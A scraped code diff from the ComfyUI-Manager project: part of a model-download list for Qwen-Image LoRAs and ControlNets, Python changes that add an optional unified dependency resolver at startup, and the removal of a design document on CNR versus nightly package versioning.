||||
"filename": "qwen_image_edit_bf16.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_bf16.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 8steps V1.0",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 8-step LoRA model V1.0",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-8steps-V1.0.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V1.0.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 4steps V1.0",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 4-step LoRA model V1.0",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-4steps-V1.0.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V1.0.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 4steps V1.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 4-step LoRA model V1.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-4steps-V1.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V1.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 4steps V2.0",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 4-step LoRA model V2.0",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-4steps-V2.0.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V2.0.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 4steps V2.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 4-step LoRA model V2.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-4steps-V2.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-4steps-V2.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 8steps V1.1",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 8-step LoRA model V1.1",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-8steps-V1.1.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V1.1.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 8steps V1.1 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 8-step LoRA model V1.1 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-8steps-V1.1-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V1.1-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 8steps V2.0",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 8-step LoRA model V2.0",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-8steps-V2.0.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V2.0.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Lightning 8steps V2.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "loras/qwen-image-lightning",
|
||||
"description": "Qwen-Image-Lightning 8-step LoRA model V2.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Lightning-8steps-V2.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Lightning-8steps-V2.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-Lightning 4steps V1.0",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-Lightning 4-step LoRA model V1.0",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-Lightning-4steps-V1.0.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-4steps-V1.0.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-Lightning 4steps V1.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-Lightning 4-step LoRA model V1.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-Lightning-4steps-V1.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-4steps-V1.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-Lightning 8steps V1.0",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-Lightning 8-step LoRA model V1.0",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-Lightning-8steps-V1.0.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-8steps-V1.0.safetensors",
|
||||
"size": "9.78GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-Lightning 8steps V1.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-Lightning 8-step LoRA model V1.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-Lightning-8steps-V1.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-Lightning-8steps-V1.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-2509-Lightning 4steps V1.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-2509-Lightning 4-step LoRA model V1.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-2509-Lightning 4steps V1.0 (fp32)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-2509-Lightning 4-step LoRA model V1.0 (fp32)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-2509-Lightning-4steps-V1.0-fp32.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-fp32.safetensors",
|
||||
"size": "39.1GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-2509-Lightning 8steps V1.0 (bf16)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-2509-Lightning 8-step LoRA model V1.0 (bf16)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-2509-Lightning-8steps-V1.0-bf16.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-8steps-V1.0-bf16.safetensors",
|
||||
"size": "19.6GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image-Edit-2509-Lightning 8steps V1.0 (fp32)",
|
||||
"type": "lora",
|
||||
"base": "Qwen-Image-Edit",
|
||||
"save_path": "loras/qwen-image-edit-lightning",
|
||||
"description": "Qwen-Image-Edit-2509-Lightning 8-step LoRA model V1.0 (fp32)",
|
||||
"reference": "https://huggingface.co/lightx2v/Qwen-Image-Lightning",
|
||||
"filename": "Qwen-Image-Edit-2509-Lightning-8steps-V1.0-fp32.safetensors",
|
||||
"url": "https://huggingface.co/lightx2v/Qwen-Image-Lightning/resolve/main/Qwen-Image-Edit-2509/Qwen-Image-Edit-2509-Lightning-8steps-V1.0-fp32.safetensors",
|
||||
"size": "39.1GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image InstantX ControlNet Union",
|
||||
"type": "controlnet",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "controlnet/qwen-image/instantx",
|
||||
"description": "Qwen-Image InstantX ControlNet Union model",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets",
|
||||
"filename": "Qwen-Image-InstantX-ControlNet-Union.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets/resolve/main/split_files/controlnet/Qwen-Image-InstantX-ControlNet-Union.safetensors",
|
||||
"size": "2.54GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image InstantX ControlNet Inpainting",
|
||||
"type": "controlnet",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "controlnet/qwen-image/instantx",
|
||||
"description": "Qwen-Image InstantX ControlNet Inpainting model",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets",
|
||||
"filename": "Qwen-Image-InstantX-ControlNet-Inpainting.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets/resolve/main/split_files/controlnet/Qwen-Image-InstantX-ControlNet-Inpainting.safetensors",
|
||||
"size": "2.54GB"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
@@ -16,25 +16,11 @@ from .common import security_check
|
||||
from .common import manager_util
|
||||
from .common import cm_global
|
||||
from .common import manager_downloader
|
||||
from .common.timestamp_utils import current_timestamp
|
||||
import folder_paths
|
||||
|
||||
manager_util.add_python_path_to_env()
|
||||
|
||||
import datetime as dt
|
||||
|
||||
if hasattr(dt, 'datetime'):
|
||||
from datetime import datetime as dt_datetime
|
||||
|
||||
def current_timestamp():
|
||||
return dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
|
||||
else:
|
||||
# NOTE: Occurs in some Mac environments.
|
||||
import time
|
||||
logging.error(f"[ComfyUI-Manager] fallback timestamp mode\n datetime module is invalid: '{dt.__file__}'")
|
||||
|
||||
def current_timestamp():
|
||||
return str(time.time()).split('.')[0]
|
||||
|
||||
|
||||
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'}
|
||||
cm_global.pip_downgrade_blacklist = ['torch', 'torchaudio', 'torchsde', 'torchvision', 'transformers', 'safetensors', 'kornia']
|
||||
@@ -80,7 +66,7 @@ cm_global.register_api('cm.is_import_failed_extension', is_import_failed_extensi
|
||||
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
|
||||
|
||||
custom_nodes_base_path = folder_paths.get_folder_paths('custom_nodes')[0]
|
||||
manager_files_path = os.path.abspath(os.path.join(folder_paths.get_user_directory(), 'default', 'ComfyUI-Manager'))
|
||||
manager_files_path = folder_paths.get_system_user_directory("manager")
|
||||
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
|
||||
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
|
||||
restore_snapshot_path = os.path.join(manager_files_path, "startup-scripts", "restore-snapshot.json")
|
||||
@@ -102,6 +88,11 @@ def read_uv_mode():
|
||||
if 'use_uv' in default_conf:
|
||||
manager_util.use_uv = default_conf['use_uv'].lower() == 'true'
|
||||
|
||||
|
||||
def read_unified_resolver_mode():
|
||||
if 'use_unified_resolver' in default_conf:
|
||||
manager_util.use_unified_resolver = default_conf['use_unified_resolver'].lower() == 'true'
|
||||
|
||||
def check_file_logging():
|
||||
global enable_file_logging
|
||||
if 'file_logging' in default_conf and default_conf['file_logging'].lower() == 'false':
|
||||
@@ -110,9 +101,14 @@ def check_file_logging():
|
||||
|
||||
read_config()
|
||||
read_uv_mode()
|
||||
read_unified_resolver_mode()
|
||||
security_check.security_check()
|
||||
check_file_logging()
|
||||
|
||||
# Module-level flag set by startup batch resolver when it succeeds.
|
||||
# Used by execute_lazy_install_script() to skip per-node pip installs.
|
||||
_unified_resolver_succeeded = False
|
||||
|
||||
cm_global.pip_overrides = {}
|
||||
|
||||
if os.path.exists(manager_pip_overrides_path):
|
||||
@@ -354,10 +350,13 @@ try:
|
||||
pass
|
||||
|
||||
with std_log_lock:
|
||||
if self.is_stdout:
|
||||
original_stdout.flush()
|
||||
else:
|
||||
original_stderr.flush()
|
||||
try:
|
||||
if self.is_stdout:
|
||||
original_stdout.flush()
|
||||
else:
|
||||
original_stderr.flush()
|
||||
except (OSError, ValueError):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
self.flush()
|
||||
@@ -483,7 +482,7 @@ check_bypass_ssl()
|
||||
|
||||
# Perform install
|
||||
processed_install = set()
|
||||
script_list_path = os.path.join(folder_paths.user_directory, "default", "ComfyUI-Manager", "startup-scripts", "install-scripts.txt")
|
||||
script_list_path = os.path.join(manager_files_path, "startup-scripts", "install-scripts.txt")
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
|
||||
|
||||
|
||||
@@ -571,7 +570,7 @@ if os.path.exists(restore_snapshot_path):
|
||||
if 'COMFYUI_PATH' not in new_env:
|
||||
new_env['COMFYUI_PATH'] = os.path.dirname(folder_paths.__file__)
|
||||
|
||||
cmd_str = [sys.executable, '-m', 'comfyui_manager.cm_cli', 'restore-snapshot', restore_snapshot_path]
|
||||
cmd_str = [sys.executable, '-m', 'cm_cli', 'restore-snapshot', restore_snapshot_path]
|
||||
exit_code = process_wrap(cmd_str, custom_nodes_base_path, handler=msg_capture, env=new_env)
|
||||
|
||||
if exit_code != 0:
|
||||
@@ -592,7 +591,8 @@ def execute_lazy_install_script(repo_path, executable):
|
||||
install_script_path = os.path.join(repo_path, "install.py")
|
||||
requirements_path = os.path.join(repo_path, "requirements.txt")
|
||||
|
||||
if os.path.exists(requirements_path):
|
||||
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
|
||||
# Per-node pip install: only runs if unified resolver is disabled or failed
|
||||
print(f"Install: pip packages for '{repo_path}'")
|
||||
|
||||
lines = manager_util.robust_readlines(requirements_path)
|
||||
@@ -762,6 +762,38 @@ def execute_startup_script():
|
||||
print("#######################################################################\n")
|
||||
|
||||
|
||||
# --- Unified dependency resolver: batch resolution at startup ---
|
||||
# Runs unconditionally when enabled, independent of install-scripts.txt existence.
|
||||
if manager_util.use_unified_resolver:
|
||||
try:
|
||||
from .common.unified_dep_resolver import (
|
||||
UnifiedDepResolver,
|
||||
UvNotAvailableError,
|
||||
collect_base_requirements,
|
||||
collect_node_pack_paths,
|
||||
)
|
||||
|
||||
_resolver = UnifiedDepResolver(
|
||||
node_pack_paths=collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes')),
|
||||
base_requirements=collect_base_requirements(comfy_path),
|
||||
blacklist=set(),
|
||||
overrides={},
|
||||
downgrade_blacklist=[],
|
||||
)
|
||||
_result = _resolver.resolve_and_install()
|
||||
if _result.success:
|
||||
_unified_resolver_succeeded = True
|
||||
logging.info("[UnifiedDepResolver] startup batch resolution succeeded")
|
||||
else:
|
||||
manager_util.use_unified_resolver = False
|
||||
logging.warning("[UnifiedDepResolver] startup batch failed: %s, falling back to per-node pip", _result.error)
|
||||
except UvNotAvailableError:
|
||||
manager_util.use_unified_resolver = False
|
||||
logging.warning("[UnifiedDepResolver] uv not available at startup, falling back to per-node pip")
|
||||
except Exception as e:
|
||||
manager_util.use_unified_resolver = False
|
||||
logging.warning("[UnifiedDepResolver] startup error: %s, falling back to per-node pip", e)
|
||||
|
||||
# Check if script_list_path exists
|
||||
if os.path.exists(script_list_path):
|
||||
execute_startup_script()
|
||||
|
||||
@@ -1,496 +0,0 @@
|
||||
# Package Version Management Design
|
||||
|
||||
## Overview
|
||||
|
||||
ComfyUI Manager supports two package version types, each with distinct installation methods and version switching mechanisms:
|
||||
|
||||
1. **CNR Version (Archive)**: Production-ready releases with semantic versioning (e.g., v1.0.2), published to CNR server, verified, and distributed as ZIP archives
|
||||
2. **Nightly Version**: Real-time development builds from Git repository without semantic versioning, providing direct access to latest code via git pull
|
||||
|
||||
## Package ID Normalization
|
||||
|
||||
### Case Sensitivity Handling
|
||||
|
||||
**Source of Truth**: Package IDs originate from `pyproject.toml` with their original case (e.g., `ComfyUI_SigmoidOffsetScheduler`)
|
||||
|
||||
**Normalization Process**:
|
||||
1. `cnr_utils.normalize_package_name()` provides centralized normalization (`cnr_utils.py:28-48`):
|
||||
```python
|
||||
def normalize_package_name(name: str) -> str:
|
||||
"""
|
||||
Normalize package name for case-insensitive matching.
|
||||
- Strip leading/trailing whitespace
|
||||
- Convert to lowercase
|
||||
"""
|
||||
return name.strip().lower()
|
||||
```
|
||||
2. `cnr_utils.read_cnr_info()` uses this normalization when indexing (`cnr_utils.py:314`):
|
||||
```python
|
||||
name = project.get('name').strip().lower()
|
||||
```
|
||||
3. Package indexed in `installed_node_packages` with lowercase ID: `'comfyui_sigmoidoffsetscheduler'`
|
||||
4. **Critical**: All lookups (`is_enabled()`, `unified_disable()`) must use `cnr_utils.normalize_package_name()` for matching
|
||||
|
||||
**Implementation** (`manager_core.py:1374, 1389`):
|
||||
```python
|
||||
# Before checking if package is enabled or disabling
|
||||
packname_normalized = cnr_utils.normalize_package_name(packname)
|
||||
if self.is_enabled(packname_normalized):
|
||||
self.unified_disable(packname_normalized)
|
||||
```
|
||||
|
||||
## Package Identification
|
||||
|
||||
### How Packages Are Identified
|
||||
|
||||
**Critical**: Packages MUST be identified by marker files and metadata, NOT by directory names.
|
||||
|
||||
**Identification Flow** (`manager_core.py:691-703`, `node_package.py:49-81`):
|
||||
|
||||
```python
|
||||
def resolve_from_path(fullpath):
|
||||
"""
|
||||
Identify package type and ID using markers and metadata files.
|
||||
|
||||
Priority:
|
||||
1. Check for .git directory (Nightly)
|
||||
2. Check for .tracking + pyproject.toml (CNR)
|
||||
3. Unknown/legacy (fallback to directory name)
|
||||
"""
|
||||
# 1. Nightly Detection
|
||||
url = git_utils.git_url(fullpath) # Checks for .git/config
|
||||
if url:
|
||||
url = git_utils.compact_url(url)
|
||||
commit_hash = git_utils.get_commit_hash(fullpath)
|
||||
return {'id': url, 'ver': 'nightly', 'hash': commit_hash}
|
||||
|
||||
# 2. CNR Detection
|
||||
info = cnr_utils.read_cnr_info(fullpath) # Checks for .tracking + pyproject.toml
|
||||
if info:
|
||||
return {'id': info['id'], 'ver': info['version']}
|
||||
|
||||
# 3. Unknown (fallback)
|
||||
return None
|
||||
```
|
||||
|
||||
### Marker-Based Identification
|
||||
|
||||
**1. Nightly Packages**:
|
||||
- **Marker**: `.git` directory presence
|
||||
- **ID Extraction**: Read URL from `.git/config` using `git_utils.git_url()` (`git_utils.py:34-53`)
|
||||
- **ID Format**: Compact URL (e.g., `https://github.com/owner/repo` → compact form)
|
||||
- **Why**: Git repositories are uniquely identified by their remote URL
|
||||
|
||||
**2. CNR Packages**:
|
||||
- **Markers**: `.tracking` file AND `pyproject.toml` file (`.git` must NOT exist)
|
||||
- **ID Extraction**: Read `name` from `pyproject.toml` using `cnr_utils.read_cnr_info()` (`cnr_utils.py:302-334`)
|
||||
- **ID Format**: Normalized lowercase from `pyproject.toml` (e.g., `ComfyUI_Foo` → `comfyui_foo`)
|
||||
- **Why**: CNR packages are identified by their canonical name in package metadata
|
||||
|
||||
**Implementation** (`cnr_utils.py:302-334`):
|
||||
```python
|
||||
def read_cnr_info(fullpath):
|
||||
toml_path = os.path.join(fullpath, 'pyproject.toml')
|
||||
tracking_path = os.path.join(fullpath, '.tracking')
|
||||
|
||||
# MUST have both markers and NO .git directory
|
||||
if not os.path.exists(toml_path) or not os.path.exists(tracking_path):
|
||||
return None # not valid CNR node pack
|
||||
|
||||
with open(toml_path, "r", encoding="utf-8") as f:
|
||||
data = toml.load(f)
|
||||
project = data.get('project', {})
|
||||
name = project.get('name').strip().lower() # ← Normalized for indexing
|
||||
original_name = project.get('name') # ← Original case preserved
|
||||
version = str(manager_util.StrictVersion(project.get('version')))
|
||||
|
||||
return {
|
||||
"id": name, # Normalized ID for lookups
|
||||
"original_name": original_name,
|
||||
"version": version,
|
||||
"url": repository
|
||||
}
|
||||
```
|
||||
|
||||
### Why NOT Directory Names?
|
||||
|
||||
**Problem with directory-based identification**:
|
||||
1. **Case Sensitivity Issues**: Same package can have different directory names
|
||||
- Active: `ComfyUI_Foo` (original case)
|
||||
- Disabled: `comfyui_foo@1_0_2` (lowercase)
|
||||
2. **Version Suffix Confusion**: Disabled directories include version in name
|
||||
3. **User Modifications**: Users can rename directories, breaking identification
|
||||
|
||||
**Correct Approach**:
|
||||
- **Source of Truth**: Marker files (`.git`, `.tracking`, `pyproject.toml`)
|
||||
- **Consistent IDs**: Based on metadata content, not filesystem names
|
||||
- **Case Insensitive**: Normalized lookups work regardless of directory name
|
||||
|
||||
### Package Lookup Flow
|
||||
|
||||
**Index Building** (`manager_core.py:444-478`):
|
||||
```python
|
||||
def reload(self):
|
||||
self.installed_node_packages: dict[str, list[InstalledNodePackage]] = defaultdict(list)
|
||||
|
||||
# Scan active packages
|
||||
for x in os.listdir(custom_nodes_path):
|
||||
fullpath = os.path.join(custom_nodes_path, x)
|
||||
if x not in ['__pycache__', '.disabled']:
|
||||
node_package = InstalledNodePackage.from_fullpath(fullpath, self.resolve_from_path)
|
||||
# ↓ Uses ID from resolve_from_path(), NOT directory name
|
||||
self.installed_node_packages[node_package.id].append(node_package)
|
||||
|
||||
# Scan disabled packages
|
||||
for x in os.listdir(disabled_dir):
|
||||
fullpath = os.path.join(disabled_dir, x)
|
||||
node_package = InstalledNodePackage.from_fullpath(fullpath, self.resolve_from_path)
|
||||
# ↓ Same ID extraction, consistent indexing
|
||||
self.installed_node_packages[node_package.id].append(node_package)
|
||||
```
|
||||
|
||||
**Lookup Process**:
|
||||
1. Normalize search term: `cnr_utils.normalize_package_name(packname)`
|
||||
2. Look up in `installed_node_packages` dict by normalized ID
|
||||
3. Match found packages by version if needed
|
||||
4. Return `InstalledNodePackage` objects with full metadata
|
||||
|
||||
### Edge Cases
|
||||
|
||||
**1. Package with `.git` AND `.tracking`**:
|
||||
- **Detection**: Treated as Nightly (`.git` checked first)
|
||||
- **Reason**: Git repo takes precedence over archive markers
|
||||
- **Fix**: Remove `.tracking` file to avoid confusion
|
||||
|
||||
**2. Missing Marker Files**:
|
||||
- **CNR without `.tracking`**: Treated as Unknown
|
||||
- **Nightly without `.git`**: Treated as Unknown or CNR (if has `.tracking`)
|
||||
- **Recovery**: Re-install package to restore correct markers
|
||||
|
||||
**3. Corrupted `pyproject.toml`**:
|
||||
- **Detection**: `read_cnr_info()` returns `None`
|
||||
- **Result**: Package treated as Unknown
|
||||
- **Recovery**: Manual fix or re-install
|
||||
|
||||
## Version Types
|
||||
|
||||
ComfyUI Manager supports two main package version types:
|
||||
|
||||
### 1. CNR Version (Comfy Node Registry - Versioned Releases)
|
||||
|
||||
**Also known as**: Archive version (because it's distributed as ZIP archive)
|
||||
|
||||
**Purpose**: Production-ready releases that have been versioned, published to CNR server, and verified before distribution
|
||||
|
||||
**Characteristics**:
|
||||
- Semantic versioning assigned (e.g., v1.0.2, v2.1.0)
|
||||
- Published to CNR server with verification process
|
||||
- Stable, tested releases for production use
|
||||
- Distributed as ZIP archives for reliability
|
||||
|
||||
**Installation Method**: ZIP file extraction from CNR (Comfy Node Registry)
|
||||
|
||||
**Identification**:
|
||||
- Presence of `.tracking` file in package directory
|
||||
- **Directory naming**:
|
||||
- **Active** (`custom_nodes/`): Uses `name` from `pyproject.toml` with original case (e.g., `ComfyUI_SigmoidOffsetScheduler`)
|
||||
- This is the `original_name` in glob/ implementation
|
||||
- **Disabled** (`.disabled/`): Uses `{package_name}@{version}` format (e.g., `comfyui_sigmoidoffsetscheduler@1_0_2`)
|
||||
- Package indexed with lowercase ID from `pyproject.toml`
|
||||
- Versioned releases (e.g., v1.0.2, v2.1.0)
|
||||
|
||||
**`.tracking` File Purpose**:
|
||||
- **Primary**: Marker to identify this as a CNR/archive installation
|
||||
- **Critical**: Contains list of original files from the archive
|
||||
- **Update Use Case**: When updating to a new version:
|
||||
1. Read `.tracking` to identify original archive files
|
||||
2. Delete ONLY original archive files
|
||||
3. Preserve user-generated files (configs, models, custom code)
|
||||
4. Extract new archive version
|
||||
5. Update `.tracking` with new file list
|
||||
|
||||
**File Structure**:
|
||||
```
|
||||
custom_nodes/
|
||||
ComfyUI_SigmoidOffsetScheduler/
|
||||
.tracking # List of original archive files
|
||||
pyproject.toml # name = "ComfyUI_SigmoidOffsetScheduler"
|
||||
__init__.py
|
||||
nodes.py
|
||||
(user-created files preserved during update)
|
||||
```
|
||||
|
||||
### 2. Nightly Version (Development Builds)
|
||||
|
||||
**Purpose**: Real-time development builds from Git repository without semantic versioning
|
||||
|
||||
**Characteristics**:
|
||||
- No semantic version assigned (version = "nightly")
|
||||
- Direct access to latest development code
|
||||
- Real-time updates via git pull
|
||||
- For testing, development, and early adoption
|
||||
- Not verified through CNR publication process
|
||||
|
||||
**Installation Method**: Git repository clone
|
||||
|
||||
**Identification**:
|
||||
- Presence of `.git` directory in package directory
|
||||
- `version: "nightly"` in package metadata
|
||||
- **Directory naming**:
|
||||
- **Active** (`custom_nodes/`): Uses `name` from `pyproject.toml` with original case (e.g., `ComfyUI_SigmoidOffsetScheduler`)
|
||||
- This is the `original_name` in glob/ implementation
|
||||
- **Disabled** (`.disabled/`): Uses `{package_name}@nightly` format (e.g., `comfyui_sigmoidoffsetscheduler@nightly`)
|
||||
|
||||
**Update Mechanism**:
|
||||
- `git pull` on existing repository
|
||||
- All user modifications in git working tree preserved by git
|
||||
|
||||
**File Structure**:
|
||||
```
|
||||
custom_nodes/
|
||||
ComfyUI_SigmoidOffsetScheduler/
|
||||
.git/ # Git repository marker
|
||||
pyproject.toml
|
||||
__init__.py
|
||||
nodes.py
|
||||
(git tracks all changes)
|
||||
```
|
||||
|
||||
## Version Switching Mechanisms
|
||||
|
||||
### CNR ↔ Nightly (Uses `.disabled/` Directory)
|
||||
|
||||
**Mechanism**: Enable/disable toggling - only ONE version active at a time
|
||||
|
||||
**Process**:
|
||||
1. **CNR → Nightly**:
|
||||
```
|
||||
Before: custom_nodes/ComfyUI_SigmoidOffsetScheduler/ (has .tracking)
|
||||
After: custom_nodes/ComfyUI_SigmoidOffsetScheduler/ (has .git)
|
||||
